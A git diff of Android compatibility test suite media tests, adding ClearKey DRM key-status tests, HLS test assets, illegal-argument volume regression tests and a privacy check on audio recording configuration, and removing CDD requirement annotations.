diff --git a/tests/tests/media/assets/unmuxed_1000k/11.ts b/tests/tests/media/assets/unmuxed_1000k/11.ts
new file mode 100644
index 0000000..4716332
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1000k/11.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1000k/12.ts b/tests/tests/media/assets/unmuxed_1000k/12.ts
new file mode 100644
index 0000000..f9a30ce
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1000k/12.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1000k/index.m3u8 b/tests/tests/media/assets/unmuxed_1000k/index.m3u8
new file mode 100644
index 0000000..2746ec0
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1000k/index.m3u8
@@ -0,0 +1,31 @@
+#EXTM3U
+#EXT-X-VERSION:6
+#EXT-X-TARGETDURATION:12
+#EXT-X-PLAYLIST-TYPE:VOD
+#EXTINF:12,
+00.ts
+#EXT-X-KEY:METHOD=SAMPLE-AES,URI="01.key",IV=0x6F27287F6FF6B10A45F9033697703E26,KEYFORMAT="identity"
+#EXT-X-DISCONTINUITY
+#EXTINF:9,
+01.ts
+#EXTINF:9,
+02.ts
+#EXTINF:12,
+03.ts
+#EXTINF:9,
+04.ts
+#EXTINF:9,
+05.ts
+#EXTINF:12,
+06.ts
+#EXTINF:9,
+07.ts
+#EXTINF:9,
+08.ts
+#EXTINF:12,
+09.ts
+#EXTINF:9,
+10.ts
+#EXTINF:9,
+11.ts
+#EXT-X-ENDLIST
\ No newline at end of file
diff --git a/tests/tests/media/libaudiojni/audio-record-native.cpp b/tests/tests/media/libaudiojni/audio-record-native.cpp
index f771d9b..f0211e6 100644
--- a/tests/tests/media/libaudiojni/audio-record-native.cpp
+++ b/tests/tests/media/libaudiojni/audio-record-native.cpp
@@ -320,6 +320,7 @@
b->mOffset += tocopy;
if (b->mOffset == b->mSize) {
mReadyQueue.pop_front();
+ queueBuffers();
}
}
copied = osize - size;
diff --git a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
index aa549b2..a94bbb0 100644
--- a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
+++ b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
@@ -493,6 +493,54 @@
}
}
+static void acquireLicense(
+ JNIEnv* env, const AMediaObjects& aMediaObjects, const AMediaDrmSessionId& sessionId,
+ AMediaDrmKeyType keyType) {
+ // Pointer to keyRequest memory, which remains until the next
+ // AMediaDrm_getKeyRequest call or until the drm object is released.
+ const uint8_t* keyRequest;
+ size_t keyRequestSize = 0;
+ std::string errorMessage;
+
+ // The server recognizes "video/mp4" but not "video/avc".
+ media_status_t status = AMediaDrm_getKeyRequest(aMediaObjects.getDrm(),
+ &sessionId, kClearkeyPssh, sizeof(kClearkeyPssh),
+ "video/mp4" /*mimeType*/, keyType,
+ NULL, 0, &keyRequest, &keyRequestSize);
+ if (status != AMEDIA_OK) {
+ errorMessage.assign("getKeyRequest failed, error = %d");
+ goto errorOut;
+ }
+
+ if (kKeyRequestSize != keyRequestSize) {
+ ALOGE("Invalid keyRequestSize %zd", kKeyRequestSize);
+ errorMessage.assign("Invalid key request size, error = %d");
+ status = AMEDIA_DRM_NEED_KEY;
+ goto errorOut;
+ }
+
+ if (memcmp(kKeyRequestData, keyRequest, kKeyRequestSize) != 0) {
+ errorMessage.assign("Invalid key request data is returned, error = %d");
+ status = AMEDIA_DRM_NEED_KEY;
+ goto errorOut;
+ }
+
+ AMediaDrmKeySetId keySetId;
+ gGotVendorDefinedEvent = false;
+ status = AMediaDrm_provideKeyResponse(aMediaObjects.getDrm(), &sessionId,
+ reinterpret_cast<const uint8_t*>(kResponse),
+ sizeof(kResponse), &keySetId);
+ if (status == AMEDIA_OK) {
+ return; // success
+ }
+
+ errorMessage.assign("provideKeyResponse failed, error = %d");
+
+errorOut:
+ AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+ jniThrowExceptionFmt(env, "java/lang/RuntimeException", errorMessage.c_str(), status);
+}
+
extern "C" jboolean Java_android_media_cts_NativeClearKeySystemTest_testClearKeyPlaybackNative(
JNIEnv* env, jclass /*clazz*/, jbyteArray uuid, jobject playbackParams) {
if (NULL == uuid || NULL == playbackParams) {
@@ -562,44 +610,7 @@
return JNI_FALSE;
}
- // Pointer to keyRequest memory, which remains until the next
- // AMediaDrm_getKeyRequest call or until the drm object is released.
- const uint8_t* keyRequest;
- size_t keyRequestSize = 0;
-
- // The server recognizes "video/mp4" but not "video/avc".
- status = AMediaDrm_getKeyRequest(aMediaObjects.getDrm(), &sessionId,
- kClearkeyPssh, sizeof(kClearkeyPssh),
- "video/mp4" /*mimeType*/, KEY_TYPE_STREAMING,
- NULL, 0, &keyRequest, &keyRequestSize);
- if (status != AMEDIA_OK) {
- jniThrowExceptionFmt(env, "java/lang/RuntimeException",
- "getKeyRequest failed, error = %d", status);
- AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
- return JNI_FALSE;
- }
-
- if (kKeyRequestSize != keyRequestSize) {
- ALOGE("Invalid keyRequestSize %zd", keyRequestSize);
- return JNI_FALSE;
- }
-
- if (memcmp(kKeyRequestData, keyRequest, kKeyRequestSize) != 0) {
- ALOGE("Invalid keyRequest data is returned");
- return JNI_FALSE;
- }
-
- AMediaDrmKeySetId keySetId;
- gGotVendorDefinedEvent = false;
- status = AMediaDrm_provideKeyResponse(aMediaObjects.getDrm(), &sessionId,
- reinterpret_cast<const uint8_t*>(kResponse),
- sizeof(kResponse), &keySetId);
- if (status != AMEDIA_OK) {
- jniThrowExceptionFmt(env, "java/lang/RuntimeException",
- "provideKeyResponse failed, error = %d", status);
- AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
- return JNI_FALSE;
- }
+ acquireLicense(env, aMediaObjects, sessionId, KEY_TYPE_STREAMING);
// Check if the event listener has received the expected event sent by
// provideKeyResponse. This is for testing AMediaDrm_setOnEventListener().
@@ -635,6 +646,99 @@
return JNI_TRUE;
}
+extern "C" jboolean Java_android_media_cts_NativeClearKeySystemTest_testQueryKeyStatusNative(
+ JNIEnv* env, jclass /*clazz*/, jbyteArray uuid) {
+
+ if (NULL == uuid) {
+ jniThrowException(env, "java/lang/NullPointerException", "null uuid");
+ return JNI_FALSE;
+ }
+
+ Uuid juuid = jbyteArrayToUuid(env, uuid);
+ if (!isUuidSizeValid(juuid)) {
+ jniThrowExceptionFmt(env, "java/lang/IllegalArgumentException",
+ "invalid UUID size, expected %u bytes", kUuidSize);
+ return JNI_FALSE;
+ }
+
+ AMediaObjects aMediaObjects;
+ media_status_t status = AMEDIA_OK;
+ aMediaObjects.setDrm(AMediaDrm_createByUUID(&juuid[0]));
+ if (NULL == aMediaObjects.getDrm()) {
+ jniThrowException(env, "java/lang/RuntimeException", "failed to create drm");
+ return JNI_FALSE;
+ }
+
+ AMediaDrmSessionId sessionId;
+ status = AMediaDrm_openSession(aMediaObjects.getDrm(), &sessionId);
+ if (status != AMEDIA_OK) {
+ jniThrowException(env, "java/lang/RuntimeException",
+ "openSession failed");
+ return JNI_FALSE;
+ }
+
+ size_t numPairs = 3;
+ AMediaDrmKeyValue keyStatus[numPairs];
+
+ // Test default key status, should return zero key status
+ status = AMediaDrm_queryKeyStatus(aMediaObjects.getDrm(), &sessionId, keyStatus, &numPairs);
+ if (status != AMEDIA_OK) {
+ jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+ "AMediaDrm_queryKeyStatus failed, error = %d", status);
+ AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+ return JNI_FALSE;
+ }
+
+ if (numPairs != 0) {
+ jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+ "AMediaDrm_queryKeyStatus failed, no policy should be defined");
+ AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+ return JNI_FALSE;
+ }
+
+ acquireLicense(env, aMediaObjects, sessionId, KEY_TYPE_STREAMING);
+
+ // Test short buffer
+ numPairs = 2;
+ status = AMediaDrm_queryKeyStatus(aMediaObjects.getDrm(), &sessionId, keyStatus, &numPairs);
+ if (status != AMEDIA_DRM_SHORT_BUFFER) {
+ jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+ "AMediaDrm_queryKeyStatus should return AMEDIA_DRM_SHORT_BUFFER, error = %d",
+ status);
+ AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+ return JNI_FALSE;
+ }
+
+ // Test valid key status
+ numPairs = 3;
+ status = AMediaDrm_queryKeyStatus(aMediaObjects.getDrm(), &sessionId, keyStatus, &numPairs);
+ if (status != AMEDIA_OK) {
+ jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+ "AMediaDrm_queryKeyStatus failed, error = %d", status);
+ AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+ return JNI_FALSE;
+ }
+
+ for (size_t i = 0; i < numPairs; ++i) {
+ ALOGI("AMediaDrm_queryKeyStatus: key=%s, value=%s", keyStatus[i].mKey, keyStatus[i].mValue);
+ }
+
+ if (numPairs != 3) {
+ jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+ "AMediaDrm_queryKeyStatus returns %zd key status, expecting 3", numPairs);
+ AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+ return JNI_FALSE;
+ }
+
+ status = AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+ if (status != AMEDIA_OK) {
+ jniThrowException(env, "java/lang/RuntimeException",
+ "closeSession failed");
+ return JNI_FALSE;
+ }
+ return JNI_TRUE;
+}
+
static JNINativeMethod gMethods[] = {
{ "isCryptoSchemeSupportedNative", "([B)Z",
(void *)Java_android_media_cts_NativeClearKeySystemTest_isCryptoSchemeSupportedNative },
@@ -649,6 +753,9 @@
{ "testPsshNative", "([BLjava/lang/String;)Z",
(void *)Java_android_media_cts_NativeClearKeySystemTest__testPsshNative },
+
+ { "testQueryKeyStatusNative", "([B)Z",
+ (void *)Java_android_media_cts_NativeClearKeySystemTest_testQueryKeyStatusNative },
};
int register_android_media_cts_NativeClearKeySystemTest(JNIEnv* env) {
diff --git a/tests/tests/media/res/raw/binary_counter_320x240_720x240_30fps_600frames.mp4 b/tests/tests/media/res/raw/binary_counter_320x240_720x240_30fps_600frames.mp4
new file mode 100644
index 0000000..2822d20
--- /dev/null
+++ b/tests/tests/media/res/raw/binary_counter_320x240_720x240_30fps_600frames.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/gb18030_utf8_mixed_1.mp3 b/tests/tests/media/res/raw/gb18030_utf8_mixed_1.mp3
new file mode 100644
index 0000000..af2c7ac
--- /dev/null
+++ b/tests/tests/media/res/raw/gb18030_utf8_mixed_1.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/gb18030_utf8_mixed_2.mp3 b/tests/tests/media/res/raw/gb18030_utf8_mixed_2.mp3
new file mode 100644
index 0000000..d1c88fe
--- /dev/null
+++ b/tests/tests/media/res/raw/gb18030_utf8_mixed_2.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/gb18030_utf8_mixed_3.mp3 b/tests/tests/media/res/raw/gb18030_utf8_mixed_3.mp3
new file mode 100644
index 0000000..ddae12f
--- /dev/null
+++ b/tests/tests/media/res/raw/gb18030_utf8_mixed_3.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_utf8_mixed_1.mp3 b/tests/tests/media/res/raw/iso88591_utf8_mixed_1.mp3
new file mode 100644
index 0000000..78bad13
--- /dev/null
+++ b/tests/tests/media/res/raw/iso88591_utf8_mixed_1.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_utf8_mixed_2.mp3 b/tests/tests/media/res/raw/iso88591_utf8_mixed_2.mp3
new file mode 100644
index 0000000..c7d8429
--- /dev/null
+++ b/tests/tests/media/res/raw/iso88591_utf8_mixed_2.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_utf8_mixed_3.mp3 b/tests/tests/media/res/raw/iso88591_utf8_mixed_3.mp3
new file mode 100644
index 0000000..c8d4afa
--- /dev/null
+++ b/tests/tests/media/res/raw/iso88591_utf8_mixed_3.mp3
Binary files differ
diff --git a/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java b/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
index 04d8650..2e7a848 100644
--- a/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
+++ b/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
@@ -31,8 +31,6 @@
import android.util.Log;
import android.view.Surface;
-import com.android.compatibility.common.util.CddTest;
-
import android.opengl.GLES20;
import javax.microedition.khronos.opengles.GL10;
@@ -206,7 +204,7 @@
public void onlyH263SW() { ex(H263(SW), allTests); }
public void bytebuffer() { ex(H264(SW), new EarlyEosTest().byteBuffer()); }
- public void texture() { ex(H264(HW), new EarlyEosTest().texture()); }
+ public void onlyTexture() { ex(H264(HW), new EarlyEosTest().texture()); }
/* inidividual tests */
public void testH264_adaptiveEarlyEos() { ex(H264(), adaptiveEarlyEos); }
@@ -237,82 +235,35 @@
public void testMpeg4_adaptiveSkipBack() { ex(Mpeg4(), adaptiveSkipBack); }
public void testH263_adaptiveSkipBack() { ex(H263(), adaptiveSkipBack); }
- @CddTest(requirement="5.3/C-1-1")
public void testH264_adaptiveReconfigDrc() { ex(H264(), adaptiveReconfigDrc); }
-
- @CddTest(requirement="5.3/C-1-1")
public void testHEVC_adaptiveReconfigDrc() { ex(HEVC(), adaptiveReconfigDrc); }
-
- @CddTest(requirement="5.3/C-1-1")
public void testVP8_adaptiveReconfigDrc() { ex(VP8(), adaptiveReconfigDrc); }
-
- @CddTest(requirement="5.3/C-1-1")
public void testVP9_adaptiveReconfigDrc() { ex(VP9(), adaptiveReconfigDrc); }
-
- @CddTest(requirement="5.3/C-1-1")
public void testMpeg4_adaptiveReconfigDrc() { ex(Mpeg4(), adaptiveReconfigDrc); }
-
- @CddTest(requirement="5.3/C-1-1")
public void testH263_adaptiveReconfigDrc() { ex(H263(), adaptiveReconfigDrc); }
- @CddTest(requirement="5.3/C-1-1")
public void testH264_adaptiveSmallReconfigDrc() { ex(H264(), adaptiveSmallReconfigDrc); }
-
- @CddTest(requirement="5.3/C-1-1")
public void testHEVC_adaptiveSmallReconfigDrc() { ex(HEVC(), adaptiveSmallReconfigDrc); }
-
- @CddTest(requirement="5.3/C-1-1")
public void testVP8_adaptiveSmallReconfigDrc() { ex(VP8(), adaptiveSmallReconfigDrc); }
-
- @CddTest(requirement="5.3/C-1-1")
public void testVP9_adaptiveSmallReconfigDrc() { ex(VP9(), adaptiveSmallReconfigDrc); }
-
- @CddTest(requirement="5.3/C-1-1")
public void testMpeg4_adaptiveSmallReconfigDrc() { ex(Mpeg4(), adaptiveSmallReconfigDrc); }
-
- @CddTest(requirement="5.3/C-1-1")
public void testH263_adaptiveSmallReconfigDrc() { ex(H263(), adaptiveSmallReconfigDrc); }
- @CddTest(requirement="5.3/C-1-1")
public void testH264_adaptiveDrc() { ex(H264(), adaptiveDrc); }
-
- @CddTest(requirement="5.3/C-1-1")
public void testHEVC_adaptiveDrc() { ex(HEVC(), adaptiveDrc); }
-
- @CddTest(requirement="5.3/C-1-1")
public void testVP8_adaptiveDrc() { ex(VP8(), adaptiveDrc); }
-
- @CddTest(requirement="5.3/C-1-1")
public void testVP9_adaptiveDrc() { ex(VP9(), adaptiveDrc); }
-
- @CddTest(requirement="5.3.1/C-1-1")
public void testMpeg4_adaptiveDrc() { ex(Mpeg4(), adaptiveDrc); }
-
- @CddTest(requirement="5.3.1/C-1-1")
public void testH263_adaptiveDrc() { ex(H263(), adaptiveDrc); }
- @CddTest(requirement="5.3.1/C-1-1")
public void testH264_adaptiveDrcEarlyEos() { ex(H264(), new AdaptiveDrcEarlyEosTest()); }
-
- @CddTest(requirement="5.3.1/C-1-1")
public void testHEVC_adaptiveDrcEarlyEos() { ex(HEVC(), new AdaptiveDrcEarlyEosTest()); }
-
- @CddTest(requirement="5.3/C-1-1")
public void testVP8_adaptiveDrcEarlyEos() { ex(VP8(), new AdaptiveDrcEarlyEosTest()); }
-
- @CddTest(requirement="5.3/C-1-1")
public void testVP9_adaptiveDrcEarlyEos() { ex(VP9(), new AdaptiveDrcEarlyEosTest()); }
- @CddTest(requirement="5.3/C-1-1")
public void testH264_adaptiveSmallDrc() { ex(H264(), adaptiveSmallDrc); }
-
- @CddTest(requirement="5.3/C-1-1")
public void testHEVC_adaptiveSmallDrc() { ex(HEVC(), adaptiveSmallDrc); }
-
- @CddTest(requirement="5.3/C-1-1")
public void testVP8_adaptiveSmallDrc() { ex(VP8(), adaptiveSmallDrc); }
-
- @CddTest(requirement="5.3/C-1-1")
public void testVP9_adaptiveSmallDrc() { ex(VP9(), adaptiveSmallDrc); }
public void testH264_earlyEos() { ex(H264(), earlyEos); }
diff --git a/tests/tests/media/src/android/media/cts/AudioEffectTest.java b/tests/tests/media/src/android/media/cts/AudioEffectTest.java
index c1c63b3..baa926e 100644
--- a/tests/tests/media/src/android/media/cts/AudioEffectTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioEffectTest.java
@@ -33,9 +33,6 @@
import android.os.Looper;
import android.test.AndroidTestCase;
import android.util.Log;
-
-import com.android.compatibility.common.util.CddTest;
-
import java.util.UUID;
public class AudioEffectTest extends PostProcTestBase {
@@ -74,7 +71,6 @@
//----------------------------------
//Test case 0.0: test queryEffects() and platfrom at least provides an Equalizer
- @CddTest(requirement="5.4.2/C-2-2,5.5.2/C-1-1")
public void test0_0QueryEffects() throws Exception {
AudioEffect.Descriptor[] desc = AudioEffect.queryEffects();
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 74b8b4d..ab7e4b6 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -36,6 +36,7 @@
import static android.media.AudioManager.VIBRATE_TYPE_RINGER;
import static android.provider.Settings.System.SOUND_EFFECTS_ENABLED;
+import android.app.ActivityManager;
import android.app.NotificationManager;
import android.content.Context;
import android.content.res.Resources;
@@ -65,9 +66,15 @@
private boolean mIsTelevision;
private boolean mIsSingleVolume;
private boolean mSkipRingerTests;
+ // From N onwards, ringer mode adjustments that toggle DND are not allowed unless
+ // package has DND access. Many tests in this package toggle DND access in order
+ // to get device out of the DND state for the test to proceed correctly.
+ // But DND access is disabled completely on low ram devices,
+ // so completely skip those tests here.
+ // These tests are migrated to CTS verifier tests to ensure test coverage.
+ private boolean mSupportNotificationPolicyAccess;
private Context mContext;
private final static int ASYNC_TIMING_TOLERANCE_MS = 50;
-
private int mOriginalRingerMode;
private Map<Integer, Integer> mOriginalStreamVolumes = new HashMap<>();
@@ -89,6 +96,8 @@
mIsSingleVolume = mContext.getResources().getBoolean(
Resources.getSystem().getIdentifier("config_single_volume", "bool", "android"));
mSkipRingerTests = mUseFixedVolume || mIsTelevision || mIsSingleVolume;
+ ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+ mSupportNotificationPolicyAccess = !am.isLowRamDevice();
// Store the original volumes that that they can be recovered in tearDown().
final int[] streamTypes = {
@@ -109,6 +118,9 @@
@Override
protected void tearDown() throws Exception {
+ if (!mSupportNotificationPolicyAccess) {
+ return;
+ }
try {
Utils.toggleNotificationPolicyAccess(
mContext.getPackageName(), getInstrumentation(), true);
@@ -133,15 +145,6 @@
}
public void testSoundEffects() throws Exception {
- try {
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), true);
- // set relative setting
- mAudioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
- } finally {
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), false);
- }
Settings.System.putInt(mContext.getContentResolver(), SOUND_EFFECTS_ENABLED, 1);
// should hear sound after loadSoundEffects() called.
@@ -239,7 +242,7 @@
}
public void testVibrateNotification() throws Exception {
- if (mUseFixedVolume || !mHasVibrator) {
+ if (mUseFixedVolume || !mHasVibrator || !mSupportNotificationPolicyAccess) {
return;
}
Utils.toggleNotificationPolicyAccess(
@@ -302,7 +305,7 @@
}
public void testVibrateRinger() throws Exception {
- if (mUseFixedVolume || !mHasVibrator) {
+ if (mUseFixedVolume || !mHasVibrator || !mSupportNotificationPolicyAccess) {
return;
}
Utils.toggleNotificationPolicyAccess(
@@ -366,6 +369,9 @@
}
public void testAccessRingMode() throws Exception {
+ if (!mSupportNotificationPolicyAccess) {
+ return;
+ }
Utils.toggleNotificationPolicyAccess(
mContext.getPackageName(), getInstrumentation(), true);
mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
@@ -390,7 +396,7 @@
}
public void testSetRingerModePolicyAccess() throws Exception {
- if (mSkipRingerTests) {
+ if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
return;
}
// Apps without policy access cannot change silent -> normal or silent -> vibrate.
@@ -453,7 +459,7 @@
}
public void testVolumeDndAffectedStream() throws Exception {
- if (mHasVibrator || mSkipRingerTests) {
+ if (mHasVibrator || mSkipRingerTests || !mSupportNotificationPolicyAccess) {
return;
}
Utils.toggleNotificationPolicyAccess(
@@ -493,6 +499,9 @@
}
public void testVolume() throws Exception {
+ if (!mSupportNotificationPolicyAccess) {
+ return;
+ }
Utils.toggleNotificationPolicyAccess(
mContext.getPackageName(), getInstrumentation(), true);
int volume, volumeDelta;
@@ -708,7 +717,7 @@
}
public void testMuteDndAffectedStreams() throws Exception {
- if (mSkipRingerTests) {
+ if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
return;
}
int[] streams = { AudioManager.STREAM_RING };
@@ -782,7 +791,7 @@
}
public void testMuteDndUnaffectedStreams() throws Exception {
- if (mSkipRingerTests) {
+ if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
return;
}
int[] streams = {
@@ -868,7 +877,7 @@
}
public void testAdjustVolumeInTotalSilenceMode() throws Exception {
- if (mSkipRingerTests) {
+ if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
return;
}
try {
@@ -888,7 +897,7 @@
}
public void testAdjustVolumeInAlarmsOnlyMode() throws Exception {
- if (mSkipRingerTests) {
+ if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
return;
}
try {
@@ -911,7 +920,7 @@
}
public void testSetStreamVolumeInTotalSilenceMode() throws Exception {
- if (mSkipRingerTests) {
+ if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
return;
}
try {
@@ -933,7 +942,7 @@
}
public void testSetStreamVolumeInAlarmsOnlyMode() throws Exception {
- if (mSkipRingerTests) {
+ if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
return;
}
try {
@@ -953,6 +962,19 @@
}
}
+ public void testAdjustVolumeWithIllegalDirection() throws Exception {
+ // Call the method with illegal direction. System should not reboot.
+ mAudioManager.adjustVolume(37, 0);
+ }
+
+ public void testAdjustSuggestedStreamVolumeWithIllegalArguments() throws Exception {
+ // Call the method with illegal direction. System should not reboot.
+ mAudioManager.adjustSuggestedStreamVolume(37, AudioManager.STREAM_MUSIC, 0);
+
+ // Call the method with illegal stream. System should not reboot.
+ mAudioManager.adjustSuggestedStreamVolume(AudioManager.ADJUST_RAISE, 66747, 0);
+ }
+
private void setInterruptionFilter(int filter) throws Exception {
mNm.setInterruptionFilter(filter);
for (int i = 0; i < 5; i++) {
diff --git a/tests/tests/media/src/android/media/cts/AudioPreProcessingTest.java b/tests/tests/media/src/android/media/cts/AudioPreProcessingTest.java
index 4a59ca4..27aa866 100644
--- a/tests/tests/media/src/android/media/cts/AudioPreProcessingTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPreProcessingTest.java
@@ -27,8 +27,6 @@
import android.media.MediaRecorder;
import android.test.AndroidTestCase;
-import com.android.compatibility.common.util.CddTest;
-
public class AudioPreProcessingTest extends AndroidTestCase {
@@ -49,7 +47,6 @@
//----------------------------------
//Test case 1.1: test NS creation and release
- @CddTest(requirement="5.4.2/C-1-2")
public void test1_1NsCreateAndRelease() throws Exception {
if (!hasMicrophone()) {
return;
@@ -74,7 +71,6 @@
//----------------------------------
//Test case 1.2: test setEnabled() and getEnabled()
- @CddTest(requirement="5.4.2/C-2-1")
public void test1_2NsSetEnabledGetEnabled() throws Exception {
if (!hasMicrophone()) {
return;
@@ -173,7 +169,6 @@
//----------------------------------
//Test case 3.1: test AGC creation and release
- @CddTest(requirement="5.4.2/C-1-3")
public void test3_1AgcCreateAndRelease() throws Exception {
if (!hasMicrophone()) {
return;
@@ -198,7 +193,6 @@
//----------------------------------
//Test case 3.2: test AGC setEnabled() and getEnabled()
- @CddTest(requirement="5.4.2/C-1-3")
public void test3_2AgcSetEnabledGetEnabled() throws Exception {
if (!hasMicrophone()) {
return;
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordTest.java b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
index 041a8df..8fd1b7a 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordTest.java
@@ -37,7 +37,6 @@
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
-import com.android.compatibility.common.util.CddTest;
import java.nio.ByteBuffer;
import java.util.ArrayList;
@@ -252,7 +251,6 @@
AudioFormat.CHANNEL_IN_STEREO, AudioFormat.ENCODING_PCM_8BIT);
}
- @CddTest(requirement="5.4.1/C-1-1")
public void testAudioRecordLocalMono16Bit() throws Exception {
doTest("local_mono_16bit", true /*localRecord*/, false /*customHandler*/,
30 /*periodsPerSecond*/, 2 /*markerPeriodsPerSecond*/,
diff --git a/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java b/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java
index 4492e32..665bfa1 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecord_BufferSizeTest.java
@@ -24,12 +24,10 @@
import android.util.Log;
import com.android.compatibility.common.util.PollingCheck;
-import com.android.compatibility.common.util.CddTest;
import java.util.ArrayList;
import java.util.List;
-@CddTest(requirement="5.4.1/C-1-1")
public class AudioRecord_BufferSizeTest extends AndroidTestCase {
private static final String TAG = AudioRecord_BufferSizeTest.class.getSimpleName();
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
index 61edbba..068087d 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
@@ -20,6 +20,7 @@
import android.media.AudioDeviceInfo;
import android.media.AudioFormat;
import android.media.AudioManager;
+import android.media.AudioPlaybackConfiguration;
import android.media.AudioRecord;
import android.media.AudioRecordingConfiguration;
import android.media.MediaRecorder;
@@ -31,6 +32,7 @@
import com.android.compatibility.common.util.CtsAndroidTestCase;
+import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
@@ -127,6 +129,9 @@
verifyAudioConfig(TEST_AUDIO_SOURCE, mAudioRecord.getAudioSessionId(),
mAudioRecord.getFormat(), mAudioRecord.getRoutedDevice(), configs));
+ // testing public API here: verify no system-privileged info is exposed through reflection
+ verifyPrivilegedInfoIsSafe(configs.get(0));
+
// stopping recording: verify there are less active record configurations
mAudioRecord.stop();
Thread.sleep(SLEEP_AFTER_STOP_FOR_INACTIVITY_MS);
@@ -181,6 +186,10 @@
testDevice, callback.mConfigs);
assertTrue("Expected record configuration was not found", match);
+ // testing public API here: verify no system-privileged info is exposed through
+ // reflection
+ verifyPrivilegedInfoIsSafe(callback.mConfigs.get(0));
+
// stopping recording: callback is called with no match
callback.reset();
mAudioRecord.stop();
@@ -303,4 +312,20 @@
return getContext().getPackageManager().hasSystemFeature(
PackageManager.FEATURE_MICROPHONE);
}
+
+ private static void verifyPrivilegedInfoIsSafe(AudioRecordingConfiguration config) {
+ // verify "privileged" fields aren't available through reflection
+ final Class<?> confClass = config.getClass();
+ try {
+ final Method getClientUidMethod = confClass.getDeclaredMethod("getClientUid");
+ final Method getClientPackageName = confClass.getDeclaredMethod("getClientPackageName");
+ Integer uid = (Integer) getClientUidMethod.invoke(config, null);
+ assertEquals("client uid isn't protected", -1 /*expected*/, uid.intValue());
+ String name = (String) getClientPackageName.invoke(config, null);
+ assertNotNull("client package name is null", name);
+ assertEquals("client package name isn't protected", 0 /*expected*/, name.length());
+ } catch (Exception e) {
+ fail("Exception thrown during reflection on config privileged fields" + e);
+ }
+ }
}
diff --git a/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java b/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
old mode 100644
new mode 100755
index 30822b4..14fa6cf
--- a/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
+++ b/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
@@ -15,42 +15,35 @@
*/
package android.media.cts;
-import com.android.compatibility.common.util.ApiLevelUtil;
-
-import android.content.Context;
+import android.app.ActivityManager;
import android.content.pm.PackageManager;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
+import android.content.Context;
+import android.media.CamcorderProfile;
import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecInfo.CodecProfileLevel;
import android.media.MediaCodecList;
import android.media.MediaDrm;
import android.media.MediaDrmException;
import android.media.MediaFormat;
-import android.media.CamcorderProfile;
import android.net.Uri;
-import android.os.Environment;
import android.os.Looper;
